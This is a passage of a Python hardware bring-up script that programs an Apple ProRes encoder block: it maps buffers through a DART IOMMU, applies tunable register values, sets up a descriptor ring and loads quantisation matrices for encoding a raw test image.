<< 8) # ffmpeg -y -i prores-encode-large.png -c:v rawvideo -pix_fmt nv24 prores-encode-large.yuv im_W = 1920 im_H = 1080 with open('prores-encode-large.yuv', 'rb') as f: im_data = f.read() assert len(im_data) == (im_W*im_H) * 3 image_data_luma = im_data[:im_W*im_H] image_data_chroma = im_data[im_W*im_H:] p.pmgr_adt_clocks_enable(f'/arm-io/dart-apr0') p.pmgr_adt_clocks_enable(f'/arm-io/apr0') dart = DART8110.from_adt(u, f'/arm-io/dart-apr0') dart.initialize() apr_base, _ = u.adt[f'/arm-io/apr0'].get_reg(0) apr = ProResRegs(u, apr_base) print(f"Register 0 (ID?) {apr.REG_0x0}") # TUNABLES apr.MODE = 0x0 apr.REG_0x118 = apr.REG_0x118.val & ~0x07FF07FF | 0x00000600 apr.REG_0x148 = apr.REG_0x148.val & ~0x00000001 | 0x00000001 apr.REG_0x160 = apr.REG_0x160.val & ~0x800F3FFF | 0x800A04FF apr.REG_0x164 = apr.REG_0x164.val & ~0x07FF07FF | 0x07800080 apr.REG_0x170 = apr.REG_0x170.val & ~0x800F3FFF | 0x800404FF apr.REG_0x174 = apr.REG_0x174.val & ~0x07FF07FF | 0x06000080 apr.REG_0x180 = apr.REG_0x180.val & ~0x800F3FFF | 0x800504FF apr.REG_0x184 = apr.REG_0x184.val & ~0x07FF07FF | 0x06800080 apr.REG_0x190 = apr.REG_0x190.val & ~0x800F3FFF | 0x800004FF apr.REG_0x194 = apr.REG_0x194.val & ~0x000000FF | 0x00000040 apr.REG_0x1a0 = apr.REG_0x1a0.val & ~0x800F3FFF | 0x800104FF apr.REG_0x1a4 = apr.REG_0x1a4.val & ~0x000000FF | 0x00000080 apr.REG_0x1b0 = apr.REG_0x1b0.val & ~0x800F3FFF | 0x800204FF apr.REG_0x1b4 = apr.REG_0x1b4.val & ~0x000000FF | 0x00000040 apr.REG_0x1c0 = apr.REG_0x1c0.val & ~0x800F3FFF | 0x800304FF apr.REG_0x1c4 = apr.REG_0x1c4.val & ~0x000000FF | 0x00000040 apr.REG_0x1d0 = apr.REG_0x1d0.val & ~0xBC00FF86 | 0xA4000786 apr.REG_0x1d4 = apr.REG_0x1d4.val & ~0x000000FF | 0x00000020 apr.REG_0x1d8 = apr.REG_0x1d8.val & ~0x000000FF | 0x000000FF apr.REG_0x1dc = apr.REG_0x1dc.val & ~0x00FFFFFF | 0x00928170 apr.REG_0x270 = apr.REG_0x270.val & ~0x800F3FFF | 0x800B08FF apr.REG_0x274 = apr.REG_0x274.val & ~0x07FF07FF | 0x07000080 apr.REG_0x280 = apr.REG_0x280.val & ~0xFFFFFFC0 | 0x00180000 apr.REG_0x290 = apr.REG_0x290.val & ~0x800F3FFF | 0x800004FF apr.REG_0x294 = apr.REG_0x294.val & ~0x000000FF | 0x00000080 apr.REG_0x2a0 = apr.REG_0x2a0.val & ~0x800F3FFF | 0x800104FF apr.REG_0x2a4 = apr.REG_0x2a4.val & ~0x000000FF | 0x00000080 apr.REG_0x2b0 = apr.REG_0x2b0.val & ~0x800F3FFF | 0x800204FF apr.REG_0x2b4 = apr.REG_0x2b4.val & ~0x000000FF | 0x00000040 apr.REG_0x2c0 = apr.REG_0x2c0.val & ~0x800F3FFF | 0x800304FF apr.REG_0x2c4 = apr.REG_0x2c4.val & ~0x000000FF | 0x00000040 apr.REG_0x2d0 = apr.REG_0x2d0.val & ~0x802FF04C | 0x80070040 apr.REG_0x2d4 = apr.REG_0x2d4.val & ~0x00000001 | 0x00000000 apr.REG_0x2d8 = apr.REG_0x2d8.val & ~0xFFFF0003 | 0x00FF0003 apr.REG_0x2e0 = apr.REG_0x2e0.val & ~0x07FF07FF | 0x06000040 apr.REG_0x2f8 = apr.REG_0x2f8.val & ~0x802FF04C | 0x80081040 apr.REG_0x2fc = apr.REG_0x2fc.val & ~0x00000001 | 0x00000000 apr.REG_0x300 = apr.REG_0x300.val & ~0xFFFF0003 | 0x00FF0003 apr.REG_0x308 = apr.REG_0x308.val & ~0x07FF07FF | 0x06400040 apr.REG_0x320 = apr.REG_0x320.val & ~0x802FF04C | 0x80092040 apr.REG_0x324 = apr.REG_0x324.val & ~0x00000001 | 0x00000000 apr.REG_0x328 = apr.REG_0x328.val & ~0xFFFF0003 | 0x00FF0003 apr.REG_0x330 = apr.REG_0x330.val & ~0x07FF07FF | 0x06800040 apr.REG_0x350 = apr.REG_0x350.val & ~0x800F3FFF | 0x800B08FF apr.REG_0x354 = apr.REG_0x354.val & ~0x07FF07FF | 0x076000A0 apr.REG_0x360 = apr.REG_0x360.val & ~0xFFFFFFC0 | 0x00180000 apr.REG_0x370 = apr.REG_0x370.val & ~0x800F3FFF | 0x800604FF apr.REG_0x374 = apr.REG_0x374.val & ~0x07FF07FF | 0x06C000A0 print("Applied tunables") # XXX test wrap around behavior DESC_RING_SZ = 0x4000 desc_ring_phys = u.heap.memalign(0x4000, DESC_RING_SZ) desc_ring_iova = dart.iomap(0, desc_ring_phys, DESC_RING_SZ) print(f"Descriptor ring @ phys {desc_ring_phys:016X} iova {desc_ring_iova:016X}") apr.DR_HEAD = 0 apr.DR_TAIL = 0 apr.DR_SIZE = DESC_RING_SZ apr.DR_ADDR_LO = desc_ring_iova & 0xFFFFFFFF apr.DR_ADDR_HI = desc_ring_iova >> 32 apr.MODE = 0xd # FIXME: dunno what this means # MATRICES apr.QUANT_LUMA_EHQ[0].val = 0x802802 apr.QUANT_CHROMA_EHQ[0].val = 0x804804 apr.QUANT_LUMA_EHQ[1].val = 0x802802 apr.QUANT_CHROMA_EHQ[1].val = 0x804804 apr.QUANT_LUMA_EHQ[2].val = 0x802802 apr.QUANT_CHROMA_EHQ[2].val = 0x804804 apr.QUANT_LUMA_EHQ[3].val = 0x802802 apr.QUANT_CHROMA_EHQ[3].val = 0x804804 apr.QUANT_LUMA_EHQ[4].val = 0x802802 apr.QUANT_CHROMA_EHQ[4].val = 0x804804 apr.QUANT_LUMA_EHQ[5].val = 0x802802 apr.QUANT_CHROMA_EHQ[5].val = 0x804804 apr.QUANT_LUMA_EHQ[6].val = 0x802802 apr.QUANT_CHROMA_EHQ[6].val = 0x804804 apr.QUANT_LUMA_EHQ[7].val = 0x802802 apr.QUANT_CHROMA_EHQ[7].val = 0x804804 apr.QUANT_LUMA_EHQ[8].val = 0x802802 apr.QUANT_CHROMA_EHQ[8].val = 0x804804 apr.QUANT_LUMA_EHQ[9].val = 0x802802 apr.QUANT_CHROMA_EHQ[9].val = 0x804804 apr.QUANT_LUMA_EHQ[10].val = 0x802802 apr.QUANT_CHROMA_EHQ[10].val = 0x804804 apr.QUANT_LUMA_EHQ[11].val = 0x802802 apr.QUANT_CHROMA_EHQ[11].val = 0x804804 apr.QUANT_LUMA_EHQ[12].val = 0x802802 apr.QUANT_CHROMA_EHQ[12].val = 0x804804 apr.QUANT_LUMA_EHQ[13].val = 0x802802 apr.QUANT_CHROMA_EHQ[13].val = 0x804804 apr.QUANT_LUMA_EHQ[14].val = 0x802802 apr.QUANT_CHROMA_EHQ[14].val = 0x804804 apr.QUANT_LUMA_EHQ[15].val = 0x803802 apr.QUANT_CHROMA_EHQ[15].val = 0x805804 apr.QUANT_LUMA_EHQ[16].val = 0x802802 apr.QUANT_CHROMA_EHQ[16].val = 0x804804 apr.QUANT_LUMA_EHQ[17].val = 0x802802 apr.QUANT_CHROMA_EHQ[17].val = 0x804804 apr.QUANT_LUMA_EHQ[18].val = 0x802802 apr.QUANT_CHROMA_EHQ[18].val = 0x804804 apr.QUANT_LUMA_EHQ[19].val = 0x803803 apr.QUANT_CHROMA_EHQ[19].val = 0x805805 apr.QUANT_LUMA_EHQ[20].val = 0x802802 apr.QUANT_CHROMA_EHQ[20].val = 0x804804 apr.QUANT_LUMA_EHQ[21].val = 0x802802 apr.QUANT_CHROMA_EHQ[21].val = 0x804804 apr.QUANT_LUMA_EHQ[22].val = 0x803802 apr.QUANT_CHROMA_EHQ[22].val = 0x805804 apr.QUANT_LUMA_EHQ[23].val = 0x803803 apr.QUANT_CHROMA_EHQ[23].val = 0x806805 apr.QUANT_LUMA_EHQ[24].val = 0x802802 apr.QUANT_CHROMA_EHQ[24].val = 0x804804 apr.QUANT_LUMA_EHQ[25].val = 0x802802 apr.QUANT_CHROMA_EHQ[25].val = 0x804804 apr.QUANT_LUMA_EHQ[26].val = 0x803803 apr.QUANT_CHROMA_EHQ[26].val = 0x805805 apr.QUANT_LUMA_EHQ[27].val = 0x804803 apr.QUANT_CHROMA_EHQ[27].val = 0x807806 apr.QUANT_LUMA_EHQ[28].val = 0x802802 apr.QUANT_CHROMA_EHQ[28].val = 0x804804 apr.QUANT_LUMA_EHQ[29].val = 0x802802 apr.QUANT_CHROMA_EHQ[29].val = 0x804804 apr.QUANT_LUMA_EHQ[30].val = 0x803803 apr.QUANT_CHROMA_EHQ[30].val = 0x806805 apr.QUANT_LUMA_EHQ[31].val = 0x804804 apr.QUANT_CHROMA_EHQ[31].val = 0x807807 apr.QUANT_LUMA_HQ[0].val = 0x804804 apr.QUANT_CHROMA_HQ[0].val = 0x804804 apr.QUANT_LUMA_HQ[1].val = 0x804804 apr.QUANT_CHROMA_HQ[1].val = 0x804804 apr.QUANT_LUMA_HQ[2].val = 0x804804 apr.QUANT_CHROMA_HQ[2].val = 0x804804 apr.QUANT_LUMA_HQ[3].val = 0x804804 apr.QUANT_CHROMA_HQ[3].val = 0x804804 apr.QUANT_LUMA_HQ[4].val = 0x804804 apr.QUANT_CHROMA_HQ[4].val = 0x804804 apr.QUANT_LUMA_HQ[5].val = 0x804804 apr.QUANT_CHROMA_HQ[5].val = 0x804804 apr.QUANT_LUMA_HQ[6].val = 0x804804 apr.QUANT_CHROMA_HQ[6].val = 0x804804 apr.QUANT_LUMA_HQ[7].val = 0x804804 apr.QUANT_CHROMA_HQ[7].val = 0x804804 apr.QUANT_LUMA_HQ[8].val = 0x804804 apr.QUANT_CHROMA_HQ[8].val = 0x804804 apr.QUANT_LUMA_HQ[9].val = 0x804804 apr.QUANT_CHROMA_HQ[9].val = 0x804804 apr.QUANT_LUMA_HQ[10].val = 0x804804 apr.QUANT_CHROMA_HQ[10].val = 0x804804 apr.QUANT_LUMA_HQ[11].val = 0x804804 apr.QUANT_CHROMA_HQ[11].val = 0x804804 apr.QUANT_LUMA_HQ[12].val = 0x804804 apr.QUANT_CHROMA_HQ[12].val = 0x804804 apr.QUANT_LUMA_HQ[13].val = 0x804804 apr.QUANT_CHROMA_HQ[13].val = 0x804804 apr.QUANT_LUMA_HQ[14].val = 0x804804 apr.QUANT_CHROMA_HQ[14].val = 0x804804 apr.QUANT_LUMA_HQ[15].val = 0x805804 apr.QUANT_CHROMA_HQ[15].val = 0x805804 apr.QUANT_LUMA_HQ[16].val = 0x804804 apr.QUANT_CHROMA_HQ[16].val = 0x804804 apr.QUANT_LUMA_HQ[17].val = 0x804804 apr.QUANT_CHROMA_HQ[17].val = 0x804804 apr.QUANT_LUMA_HQ[18].val = 0x804804 apr.QUANT_CHROMA_HQ[18].val = 0x804804 apr.QUANT_LUMA_HQ[19].val = 0x805805 apr.QUANT_CHROMA_HQ[19].val = 0x805805 apr.QUANT_LUMA_HQ[20].val = 0x804804 apr.QUANT_CHROMA_HQ[20].val = 0x804804 apr.QUANT_LUMA_HQ[21].val = 0x804804 apr.QUANT_CHROMA_HQ[21].val = 0x804804 apr.QUANT_LUMA_HQ[22].val = 0x805804 apr.QUANT_CHROMA_HQ[22].val = 0x805804 apr.QUANT_LUMA_HQ[23].val = 0x806805 apr.QUANT_CHROMA_HQ[23].val = 0x806805 apr.QUANT_LUMA_HQ[24].val = 0x804804 apr.QUANT_CHROMA_HQ[24].val = 0x804804 apr.QUANT_LUMA_HQ[25].val = 0x804804 apr.QUANT_CHROMA_HQ[25].val = 0x804804 apr.QUANT_LUMA_HQ[26].val = 0x805805 apr.QUANT_CHROMA_HQ[26].val = 0x805805 apr.QUANT_LUMA_HQ[27].val = 0x807806 apr.QUANT_CHROMA_HQ[27].val = 0x807806 apr.QUANT_LUMA_HQ[28].val = 0x804804 apr.QUANT_CHROMA_HQ[28].val = 0x804804 apr.QUANT_LUMA_HQ[29].val = 0x804804 apr.QUANT_CHROMA_HQ[29].val = 0x804804 apr.QUANT_LUMA_HQ[30].val = 0x806805 apr.QUANT_CHROMA_HQ[30].val = 0x806805 apr.QUANT_LUMA_HQ[31].val = 0x807807 apr.QUANT_CHROMA_HQ[31].val = 0x807807 apr.QUANT_LUMA_NQ[0].val = 0x804804 apr.QUANT_CHROMA_NQ[0].val = 0x804804 apr.QUANT_LUMA_NQ[1].val = 0x805805 apr.QUANT_CHROMA_NQ[1].val = 0x805805 apr.QUANT_LUMA_NQ[2].val = 0x807806 apr.QUANT_CHROMA_NQ[2].val = 0x807806 apr.QUANT_LUMA_NQ[3].val = 0x809807 apr.QUANT_CHROMA_NQ[3].val = 0x809807 apr.QUANT_LUMA_NQ[4].val = 0x804804 apr.QUANT_CHROMA_NQ[4].val = 0x804804 apr.QUANT_LUMA_NQ[5].val = 0x806805 apr.QUANT_CHROMA_NQ[5].val = 0x806805 apr.QUANT_LUMA_NQ[6].val = 0x807807 apr.QUANT_CHROMA_NQ[6].val = 0x807807 apr.QUANT_LUMA_NQ[7].val = 0x809809 apr.QUANT_CHROMA_NQ[7].val = 0x809809 apr.QUANT_LUMA_NQ[8].val = 0x805805 apr.QUANT_CHROMA_NQ[8].val = 0x805805 apr.QUANT_LUMA_NQ[9].val = 0x807806 apr.QUANT_CHROMA_NQ[9].val = 0x807806 apr.QUANT_LUMA_NQ[10].val = 0x809807 apr.QUANT_CHROMA_NQ[10].val = 0x809807 apr.QUANT_LUMA_NQ[11].val = 0x80a809 apr.QUANT_CHROMA_NQ[11].val = 0x80a809 apr.QUANT_LUMA_NQ[12].val = 0x805805 apr.QUANT_CHROMA_NQ[12].val = 0x805805 apr.QUANT_LUMA_NQ[13].val = 0x807806 apr.QUANT_CHROMA_NQ[13].val = 0x807806 apr.QUANT_LUMA_NQ[14].val = 0x809807 apr.QUANT_CHROMA_NQ[14].val = 0x809807 apr.QUANT_LUMA_NQ[15].val = 0x80a809 apr.QUANT_CHROMA_NQ[15].val = 0x80a809 apr.QUANT_LUMA_NQ[16].val = 0x806805 apr.QUANT_CHROMA_NQ[16].val = 0x806805 apr.QUANT_LUMA_NQ[17].val = 0x807807 apr.QUANT_CHROMA_NQ[17].val = 0x807807 apr.QUANT_LUMA_NQ[18].val = 0x809808 apr.QUANT_CHROMA_NQ[18].val = 0x809808 apr.QUANT_LUMA_NQ[19].val = 0x80c80a apr.QUANT_CHROMA_NQ[19].val = 0x80c80a apr.QUANT_LUMA_NQ[20].val = 0x807806 apr.QUANT_CHROMA_NQ[20].val = 0x807806 apr.QUANT_LUMA_NQ[21].val = 0x808807 apr.QUANT_CHROMA_NQ[21].val = 0x808807 apr.QUANT_LUMA_NQ[22].val = 0x80a809 apr.QUANT_CHROMA_NQ[22].val = 0x80a809 apr.QUANT_LUMA_NQ[23].val = 0x80f80c apr.QUANT_CHROMA_NQ[23].val = 0x80f80c apr.QUANT_LUMA_NQ[24].val = 0x807806 apr.QUANT_CHROMA_NQ[24].val = 0x807806 apr.QUANT_LUMA_NQ[25].val = 0x809807 apr.QUANT_CHROMA_NQ[25].val = 0x809807 apr.QUANT_LUMA_NQ[26].val = 0x80b80a apr.QUANT_CHROMA_NQ[26].val = 0x80b80a apr.QUANT_LUMA_NQ[27].val = 0x81180e apr.QUANT_CHROMA_NQ[27].val = 0x81180e apr.QUANT_LUMA_NQ[28].val = 0x807807 apr.QUANT_CHROMA_NQ[28].val = 0x807807 apr.QUANT_LUMA_NQ[29].val = 0x80a809 apr.QUANT_CHROMA_NQ[29].val = 0x80a809 apr.QUANT_LUMA_NQ[30].val = 0x80e80b apr.QUANT_CHROMA_NQ[30].val = 0x80e80b apr.QUANT_LUMA_NQ[31].val = 0x815811 apr.QUANT_CHROMA_NQ[31].val = 0x815811 apr.QUANT_LUMA_LT[0].val = 0x805804 apr.QUANT_CHROMA_LT[0].val = 0x805804 apr.QUANT_LUMA_LT[1].val = 0x807806 apr.QUANT_CHROMA_LT[1].val = 0x807806 apr.QUANT_LUMA_LT[2].val = 0x80b809 apr.QUANT_CHROMA_LT[2].val = 0x80b809 apr.QUANT_LUMA_LT[3].val = 0x80f80d apr.QUANT_CHROMA_LT[3].val = 0x80f80d apr.QUANT_LUMA_LT[4].val = 0x805805 apr.QUANT_CHROMA_LT[4].val = 0x805805 apr.QUANT_LUMA_LT[5].val = 0x808807 apr.QUANT_CHROMA_LT[5].val = 0x808807 apr.QUANT_LUMA_LT[6].val = 0x80d80b apr.QUANT_CHROMA_LT[6].val = 0x80d80b apr.QUANT_LUMA_LT[7].val = 0x81180f apr.QUANT_CHROMA_LT[7].val = 0x81180f apr.QUANT_LUMA_LT[8].val = 0x807806 apr.QUANT_CHROMA_LT[8].val = 0x807806 apr.QUANT_LUMA_LT[9].val = 0x80b809 apr.QUANT_CHROMA_LT[9].val = 0x80b809 apr.QUANT_LUMA_LT[10].val = 0x80f80d apr.QUANT_CHROMA_LT[10].val = 0x80f80d apr.QUANT_LUMA_LT[11].val = 0x81180f apr.QUANT_CHROMA_LT[11].val = 0x81180f apr.QUANT_LUMA_LT[12].val = 0x807807 apr.QUANT_CHROMA_LT[12].val = 0x807807 apr.QUANT_LUMA_LT[13].val = 0x80b809 apr.QUANT_CHROMA_LT[13].val = 0x80b809 apr.QUANT_LUMA_LT[14].val = 0x80f80d apr.QUANT_CHROMA_LT[14].val = 0x80f80d apr.QUANT_LUMA_LT[15].val = 0x813811 apr.QUANT_CHROMA_LT[15].val = 0x813811 apr.QUANT_LUMA_LT[16].val = 0x809807 apr.QUANT_CHROMA_LT[16].val = 0x809807 apr.QUANT_LUMA_LT[17].val = 0x80d80b apr.QUANT_CHROMA_LT[17].val = 0x80d80b apr.QUANT_LUMA_LT[18].val = 0x81080e apr.QUANT_CHROMA_LT[18].val = 0x81080e apr.QUANT_LUMA_LT[19].val = 0x817813 apr.QUANT_CHROMA_LT[19].val = 0x817813 apr.QUANT_LUMA_LT[20].val = 0x80b809 apr.QUANT_CHROMA_LT[20].val = 0x80b809 apr.QUANT_LUMA_LT[21].val = 0x80e80d apr.QUANT_CHROMA_LT[21].val = 0x80e80d apr.QUANT_LUMA_LT[22].val = 0x813810 apr.QUANT_CHROMA_LT[22].val = 0x813810 apr.QUANT_LUMA_LT[23].val = 0x81d817 apr.QUANT_CHROMA_LT[23].val = 0x81d817 apr.QUANT_LUMA_LT[24].val = 0x80b809 apr.QUANT_CHROMA_LT[24].val = 0x80b809 apr.QUANT_LUMA_LT[25].val = 0x80f80d apr.QUANT_CHROMA_LT[25].val = 0x80f80d apr.QUANT_LUMA_LT[26].val = 0x815811 apr.QUANT_CHROMA_LT[26].val = 0x815811 apr.QUANT_LUMA_LT[27].val = 0x82381c apr.QUANT_CHROMA_LT[27].val = 0x82381c apr.QUANT_LUMA_LT[28].val = 0x80d80b apr.QUANT_CHROMA_LT[28].val = 0x80d80b apr.QUANT_LUMA_LT[29].val = 0x811810 apr.QUANT_CHROMA_LT[29].val = 0x811810 apr.QUANT_LUMA_LT[30].val = 0x81c815 apr.QUANT_CHROMA_LT[30].val = 0x81c815 apr.QUANT_LUMA_LT[31].val = 0x829823 apr.QUANT_CHROMA_LT[31].val = 0x829823 apr.QUANT_LUMA_PROXY[0].val = 0x807804 apr.QUANT_CHROMA_PROXY[0].val = 0x807804 apr.QUANT_LUMA_PROXY[1].val = 0x80b809 apr.QUANT_CHROMA_PROXY[1].val = 0x80b809 apr.QUANT_LUMA_PROXY[2].val = 0x80e80d apr.QUANT_CHROMA_PROXY[2].val = 0x80e80d apr.QUANT_LUMA_PROXY[3].val = 0xfff83f apr.QUANT_CHROMA_PROXY[3].val = 0xfff83f apr.QUANT_LUMA_PROXY[4].val = 0x807807 apr.QUANT_CHROMA_PROXY[4].val = 0x807807 apr.QUANT_LUMA_PROXY[5].val = 0x80c80b apr.QUANT_CHROMA_PROXY[5].val = 0x80c80b apr.QUANT_LUMA_PROXY[6].val = 0x83f80e apr.QUANT_CHROMA_PROXY[6].val = 0x83f80e apr.QUANT_LUMA_PROXY[7].val = 0xffffff apr.QUANT_CHROMA_PROXY[7].val = 0xffffff apr.QUANT_LUMA_PROXY[8].val = 0x80b809 apr.QUANT_CHROMA_PROXY[8].val = 0x80b809 apr.QUANT_LUMA_PROXY[9].val = 0x80e80d apr.QUANT_CHROMA_PROXY[9].val = 0x80e80d apr.QUANT_LUMA_PROXY[10].val = 0xfff83f apr.QUANT_CHROMA_PROXY[10].val = 0xfff83f apr.QUANT_LUMA_PROXY[11].val = 0xffffff apr.QUANT_CHROMA_PROXY[11].val = 0xffffff apr.QUANT_LUMA_PROXY[12].val = 0x80b80b apr.QUANT_CHROMA_PROXY[12].val = 0x80b80b apr.QUANT_LUMA_PROXY[13].val = 0x80e80d apr.QUANT_CHROMA_PROXY[13].val = 0x80e80d apr.QUANT_LUMA_PROXY[14].val = 0xffffff apr.QUANT_CHROMA_PROXY[14].val = 0xffffff apr.QUANT_LUMA_PROXY[15].val = 0xffffff apr.QUANT_CHROMA_PROXY[15].val = 0xffffff apr.QUANT_LUMA_PROXY[16].val = 0x80d80b apr.QUANT_CHROMA_PROXY[16].val = 0x80d80b apr.QUANT_LUMA_PROXY[17].val = 0xfff80e apr.QUANT_CHROMA_PROXY[17].val = 0xfff80e apr.QUANT_LUMA_PROXY[18].val = 0xffffff apr.QUANT_CHROMA_PROXY[18].val = 0xffffff apr.QUANT_LUMA_PROXY[19].val = 0xffffff apr.QUANT_CHROMA_PROXY[19].val = 0xffffff apr.QUANT_LUMA_PROXY[20].val = 0x80e80d apr.QUANT_CHROMA_PROXY[20].val = 0x80e80d apr.QUANT_LUMA_PROXY[21].val = 0xffffff apr.QUANT_CHROMA_PROXY[21].val = 0xffffff apr.QUANT_LUMA_PROXY[22].val = 0xffffff apr.QUANT_CHROMA_PROXY[22].val = 0xffffff apr.QUANT_LUMA_PROXY[23].val = 0xffffff apr.QUANT_CHROMA_PROXY[23].val = 0xffffff apr.QUANT_LUMA_PROXY[24].val = 0xfff80d apr.QUANT_CHROMA_PROXY[24].val = 0xfff80d apr.QUANT_LUMA_PROXY[25].val = 0xffffff apr.QUANT_CHROMA_PROXY[25].val = 0xffffff apr.QUANT_LUMA_PROXY[26].val = 0xffffff apr.QUANT_CHROMA_PROXY[26].val = 0xffffff apr.QUANT_LUMA_PROXY[27].val = 0xffffff apr.QUANT_CHROMA_PROXY[27].val = 0xffffff apr.QUANT_LUMA_PROXY[28].val = 0xffffff apr.QUANT_CHROMA_PROXY[28].val = 0xffffff apr.QUANT_LUMA_PROXY[29].val = 0xffffff apr.QUANT_CHROMA_PROXY[29].val = 0xffffff apr.QUANT_LUMA_PROXY[30].val = 0xffffff apr.QUANT_CHROMA_PROXY[30].val = 0xffffff apr.QUANT_LUMA_PROXY[31].val = 0xffffff apr.QUANT_CHROMA_PROXY[31].val = 0xffffff apr.DC_QUANT_SCALE[0].val = 0x401 apr.DC_QUANT_SCALE[1].val = 0x803 apr.DC_QUANT_SCALE[2].val = 0xc05 apr.DC_QUANT_SCALE[3].val = 0x1007 apr.DC_QUANT_SCALE[4].val = 0x1409 apr.DC_QUANT_SCALE[5].val = 0x180b apr.DC_QUANT_SCALE[6].val = 0x1c0d apr.DC_QUANT_SCALE[7].val = 0x200f apr.DC_QUANT_SCALE[8].val = 0x2411 apr.DC_QUANT_SCALE[9].val = 0x2813 apr.DC_QUANT_SCALE[10].val = 0x2c15 apr.DC_QUANT_SCALE[11].val = 0x3017 apr.DC_QUANT_SCALE[12].val = 0x3419 apr.DC_QUANT_SCALE[13].val = 0x381b apr.DC_QUANT_SCALE[14].val = 0x3c1d apr.DC_QUANT_SCALE[15].val = 0x401f apr.DC_QUANT_SCALE[16].val = 0x4421 apr.DC_QUANT_SCALE[17].val = 0x4823 apr.DC_QUANT_SCALE[18].val = 0x4c25 apr.DC_QUANT_SCALE[19].val = 0x5027 apr.DC_QUANT_SCALE[20].val = 0x5429 apr.DC_QUANT_SCALE[21].val = 0x582b apr.DC_QUANT_SCALE[22].val = 0x5c2d apr.DC_QUANT_SCALE[23].val = 0x602f apr.DC_QUANT_SCALE[24].val = 0x6431 apr.DC_QUANT_SCALE[25].val = 0x6833 apr.DC_QUANT_SCALE[26].val = 0x6c35 apr.DC_QUANT_SCALE[27].val = 0x7037 apr.DC_QUANT_SCALE[28].val = 0x7439 apr.DC_QUANT_SCALE[29].val = 0x783b apr.DC_QUANT_SCALE[30].val = 0x7c3d apr.DC_QUANT_SCALE[31].val = 0x803f apr.DC_QUANT_SCALE[32].val = 0x8441 apr.DC_QUANT_SCALE[33].val = 0x8843 apr.DC_QUANT_SCALE[34].val = 0x8c45 apr.DC_QUANT_SCALE[35].val = 0x9047 apr.DC_QUANT_SCALE[36].val = 0x9449 apr.DC_QUANT_SCALE[37].val = 0x984b apr.DC_QUANT_SCALE[38].val = 0x9c4d apr.DC_QUANT_SCALE[39].val = 0xa04f apr.DC_QUANT_SCALE[40].val = 0xa451 apr.DC_QUANT_SCALE[41].val = 0xa853 apr.DC_QUANT_SCALE[42].val = 0xac55 apr.DC_QUANT_SCALE[43].val = 0xb057 apr.DC_QUANT_SCALE[44].val = 0xb459 apr.DC_QUANT_SCALE[45].val = 0xb85b apr.DC_QUANT_SCALE[46].val = 0xbc5d apr.DC_QUANT_SCALE[47].val = 0xc05f apr.DC_QUANT_SCALE[48].val = 0xc461 apr.DC_QUANT_SCALE[49].val = 0xc863 apr.DC_QUANT_SCALE[50].val = 0xcc65 apr.DC_QUANT_SCALE[51].val = 0xd067 apr.DC_QUANT_SCALE[52].val = 0xd469 apr.DC_QUANT_SCALE[53].val = 0xd86b apr.DC_QUANT_SCALE[54].val = 0xdc6d apr.DC_QUANT_SCALE[55].val = 0xe06f apr.DC_QUANT_SCALE[56].val = 0xe471 apr.DC_QUANT_SCALE[57].val = 0xe873 apr.DC_QUANT_SCALE[58].val = 0xec75 apr.DC_QUANT_SCALE[59].val = 0xf077 apr.DC_QUANT_SCALE[60].val = 0xf479 apr.DC_QUANT_SCALE[61].val = 0xf87b apr.DC_QUANT_SCALE[62].val = 0xfc7d apr.DC_QUANT_SCALE[63].val = 0x1007f apr.DC_QUANT_SCALE[64].val = 0x11084 apr.DC_QUANT_SCALE[65].val = 0x1208c apr.DC_QUANT_SCALE[66].val = 0x13094 apr.DC_QUANT_SCALE[67].val = 0x1409c apr.DC_QUANT_SCALE[68].val = 0x150a4 apr.DC_QUANT_SCALE[69].val = 0x160ac apr.DC_QUANT_SCALE[70].val = 0x170b4 apr.DC_QUANT_SCALE[71].val = 0x180bc apr.DC_QUANT_SCALE[72].val = 0x190c4 apr.DC_QUANT_SCALE[73].val = 0x1a0cc apr.DC_QUANT_SCALE[74].val = 0x1b0d4 apr.DC_QUANT_SCALE[75].val = 0x1c0dc apr.DC_QUANT_SCALE[76].val = 0x1d0e4 apr.DC_QUANT_SCALE[77].val = 0x1e0ec apr.DC_QUANT_SCALE[78].val = 0x1f0f4 apr.DC_QUANT_SCALE[79].val = 0x200fc apr.DC_QUANT_SCALE[80].val = 0x21104 apr.DC_QUANT_SCALE[81].val = 0x2210c apr.DC_QUANT_SCALE[82].val = 0x23114 apr.DC_QUANT_SCALE[83].val = 0x2411c apr.DC_QUANT_SCALE[84].val = 0x25124 apr.DC_QUANT_SCALE[85].val = 0x2612c apr.DC_QUANT_SCALE[86].val = 0x27134 apr.DC_QUANT_SCALE[87].val = 0x2813c apr.DC_QUANT_SCALE[88].val = 0x29144 apr.DC_QUANT_SCALE[89].val = 0x2a14c apr.DC_QUANT_SCALE[90].val = 0x2b154 apr.DC_QUANT_SCALE[91].val = 0x2c15c apr.DC_QUANT_SCALE[92].val = 0x2d164 apr.DC_QUANT_SCALE[93].val = 0x2e16c apr.DC_QUANT_SCALE[94].val = 0x2f174 apr.DC_QUANT_SCALE[95].val = 0x3017c apr.DC_QUANT_SCALE[96].val = 0x31184 apr.DC_QUANT_SCALE[97].val = 0x3218c apr.DC_QUANT_SCALE[98].val = 0x33194 apr.DC_QUANT_SCALE[99].val = 0x3419c apr.DC_QUANT_SCALE[100].val = 0x351a4 apr.DC_QUANT_SCALE[101].val = 0x361ac apr.DC_QUANT_SCALE[102].val = 0x371b4 apr.DC_QUANT_SCALE[103].val = 0x381bc apr.DC_QUANT_SCALE[104].val = 0x391c4 apr.DC_QUANT_SCALE[105].val = 0x3a1cc apr.DC_QUANT_SCALE[106].val = 0x3b1d4 apr.DC_QUANT_SCALE[107].val = 0x3c1dc apr.DC_QUANT_SCALE[108].val = 0x3d1e4 apr.DC_QUANT_SCALE[109].val = 0x3e1ec apr.DC_QUANT_SCALE[110].val = 0x3f1f4 apr.DC_QUANT_SCALE[111].val = 0x1fc print("Set matrices") # dunno how this gets calculated OUT_SZ = 0x1000000 out_buf_phys = u.heap.memalign(0x4000, OUT_SZ) iface.writemem(out_buf_phys, b'\xAA' * OUT_SZ) out_buf_iova = dart.iomap(0, out_buf_phys, OUT_SZ) print(f"Output buffer @ phys {out_buf_phys:016X} iova {out_buf_iova:016X}") IN_SZ_LUMA = align_up(im_W*im_H) in_buf_luma_phys = u.heap.memalign(0x4000, IN_SZ_LUMA) iface.writemem(in_buf_luma_phys, image_data_luma + b'\xaa' * (IN_SZ_LUMA - len(image_data_luma))) in_buf_luma_iova = dart.iomap(0, in_buf_luma_phys, IN_SZ_LUMA) print(f"Input buffer luma @ phys {in_buf_luma_phys:016X} iova {in_buf_luma_iova:016X}") IN_SZ_CHROMA = align_up(im_W*2*im_H) 